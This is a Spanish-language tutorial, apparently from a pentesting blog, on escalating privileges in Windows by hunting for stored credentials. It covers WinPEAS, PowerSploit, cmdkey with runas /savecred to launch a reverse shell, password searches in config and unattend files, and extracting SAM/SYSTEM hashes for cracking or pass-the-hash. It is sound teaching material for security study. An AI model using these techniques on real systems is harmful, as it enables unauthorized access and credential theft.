Como ya hemos visto en otros posts, WinPEAS es una herramienta muy potente cuando se trata de buscar posibles formas de escalar privilegios en Windows. Además, acepta argumentos para seleccionar exactamente que tipo de información queremos que enumere (del mismo modo, podemos ejecutarlo sin argumentos para que enumere todo). La lista de argumentos la podemos consultar en su repositorio oficial.
En este caso, los argumentos que nos pueden interesar para buscar credenciales, son «filesinfo» y «userinfo», de tal forma, que el comando a ejecutar sería:
winPEAS.exe quiet filesinfo userinfo
El argumento «quiet» solo sirve para que no muestre el banner en la salida.
Entonces, ejecutando este comando, WinPEAS entre otras muchas cosas que obtendrá, algunas de ellas, serán las siguientes:
Como podemos ver, ha conseguido extraer credenciales de Winlogon y Putty (no es lo único que ha obtenido, pero el output es demasiado grande como para mostrarlo uno por uno). Lo podríamos haber hecho manualmente, sin embargo, no es lo más eficiente teniendo una herramienta como WinPEAS.
PowerSploit
Siempre hay que tener alternativas en caso de que algo falle, por lo que otra herramienta que podemos usar para enumerar credenciales es PowerSploit, más específicamente su script «PowerUp.ps1».
En este caso, las posibles funciones que nos pueden interesar son las siguientes:
Get-UnattendedInstallFile Get-Webconfig Get-ApplicationHost Get-SiteListPassword Get-CachedGPPPassword Get-RegistryAutoLogon Si no conoces PowerSploit, básicamente es un repositorio que contiene una gran cantidad de scripts de powershell útiles para post-explotación, en este caso el que nos interesa es «PowerUp.ps1». Una vez cargamos el script en el sistema, tendremos todos los cmdlets (funciones) que menciono en la parte superior (y muchos más). Esta herramienta se puede descargar desde su repositorio oficial.
Ejemplo de uso:
Con el primer comando cargamos el módulo en la powershell, para así, tener las funciones de «PowerUp.ps1» integradas.
Save Creds
Al igual que en Linux se le pueden asignar privilegios «sudo» a un usuario para que pueda ejecutar un script o binario en nombre de otro, Windows tiene una característica bastante parecida, en este caso, RunAs.
RunAs es una característica que te permite ejecutar cualquier programa en nombre de otro usuario si conoces su contraseña, ejemplo:
Sin embargo, RunAs tiene una característica la cual permite guardar credenciales de otro usuario para que puedas ejecutar lo que quieras sin conocer la contraseña del mismo. Esta característica se trata del argumento savecred.
Podemos comprobar si hay credenciales almacenadas de algún usuario usando el comando cmdkey. Cmdkey es una herramienta de línea de comandos que nos permite gestionar las credenciales almacenadas en el sistema, de forma gráfica, lo gestionaríamos desde el «Administrador de Credenciales». En cualquier caso, para ver el listado de credenciales almacenadas en el sistema, usamos el siguiente comando:
cmdkey /list
Como podemos comprobar en ambas imágenes, hay credenciales almacenadas del usuario «admin» (También podríamos enumerarlo usando WinPEAS con el comando winPEAS.exe quiet windowscreds ).
Sabiendo que hay credenciales del usuario «admin» almacenadas, nos podemos aprovechar de esto para ejecutarnos una reverse shell usando runas:
runas /savecred /user:<usuario> <ejecutable>
De esta forma, somos capaces de escalar privilegios gracias a las credenciales almacenadas del usuario administrador.
Archivos de Configuración
En cualquier sistema, los archivos de configuración existen, de la misma forma, existe la posibilidad de que estos tengan credenciales en texto plano (Un ejemplo típico es el archivo «wp-config.php» en WordPress, o el archivo web.config en IIS).
Podemos buscar recursivamente archivos de configuración que contengan de nombre la palabra «pass» o que tengan de extensión «.config» con el siguiente comando:
dir /s *pass* == *.config
También podríamos buscar archivos que contengan la palabra «password» en su contenido y que tengan como extensión la que nosotros especifiquemos:
findstr /si password *.xml *.ini
Estos dos comandos tenemos que tener cuidado desde donde lo lanzamos, ya que si por ejemplo lo lanzásemos desde la raiz (C:\), traerían un output inmenso, ya que ambos buscan de forma recursiva.
En este caso, de nuevo WinPEAS nos podría facilitar la tarea de enumeración, podríamos usar el siguiente comando:
winPEAS.exe quiet searchfast filesinfo
Recuerda que puedes ver los argumentos de WinPEAS desde su repositorio.
Lanzando el comando de WinPEAS, encontramos el siguiente archivo interesante:
winPEAS.exe quiet filesinfo userinfo Comprobando su contenido, vemos lo siguiente:
Encontramos las credenciales de «admin» en base64.
Unattend.xml es un archivo típico donde podemos encontrar credenciales. Según la documentación oficial de Microsoft, este archivo es un archivo basado en XML que contiene definiciones y valores de configuración para utilizar durante la instalación de Windows.
Es muy típico que los administradores de sistemas usen los Servicios de Implementación de Windows para crear una imagen del mismo para implantarla en varios equipos de la red. Esto se denomina «Unattended Installation». El problema de este tipo de instalación, es que la contraseña del administrador local del equipo se puede almacenar en varias ubicaciones como la que hemos visto. Otras posibles ubicaciones son:
C:\unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml También existe un módulo de metasploit que comprueba esto: post/windows/gather/enum_unattend
Una vez hemos obtenido y conocemos la contraseña de un usuario, podemos usar RunAs, o algún programa como psexec para obtener shell como el usuario en cuestión.
SAM y SYSTEM
A veces, no todos son las contraseñas. Una característica que tiene Windows, es que sabiendo el hash NT de un usuario, podemos obtener una shell sin necesidad de la contraseña (esto no es random, sabiendo como funciona la autenticación NTLM entendemos por qué). Podéis leer más de este proceso en el post de ¿Por qué se pueden ejecutar comandos a través de SMB?.
El SAM del equipo, o, dicho de otra forma, el «Security Account Manager» es donde se almacenan los hashes de las contraseñas de los usuarios del sistema. Los hashes se almacenan de forma encriptada, y la clave de desencriptación se encuentra en el archivo SYSTEM.
Por lo que, si somos capaces de leer el archivo SAM y SYSTEM, podemos extraer los hashes de todos los usuarios del equipo.
Los archivos SAM y SYSTEM, se almacenan en el directorio:
C:\Windows\System32\config
Estos archivos están bloqueados mientras Windows está ejecutándose. Sin embargo, quizás podemos encontrar un backup en alguno de los siguientes directorios:
C:\Windows\Repair
C:\Windows\System32\config\RegBack
En este caso, encontramos un backup de ambos archivos en el directorio C:\Windows\Repair , por lo que podemos copiárnoslo a nuestro equipo:
Ambos archivos son ilegibles, ya que son binarios:
Para desencriptar el archivo «SAM» usando «SYSTEM», podemos usar por ejemplo pwdump.py:
También podríamos usar secretsdump.py:
Por último, una vez tenemos el hash NT de los usuarios, tenemos dos opciones, intentar crackearlo, o hacer Pass The Hash.


Referencias
HKEY_LOCAL_MACHINE (HKLM) | Neoguias Registro de Windows – Wikipedia Registry hive basics part 2: NK records Activar el inicio de sesión automático en Windows Execute «reg query» as a new process does not display all keys Redirector del Registro CMDKEY.exe (Windows 2003+) Answer Files Overview Stored Credentials Windows Privilege Escalation for OSCP & Beyond! Windows-PrivEsc-Setup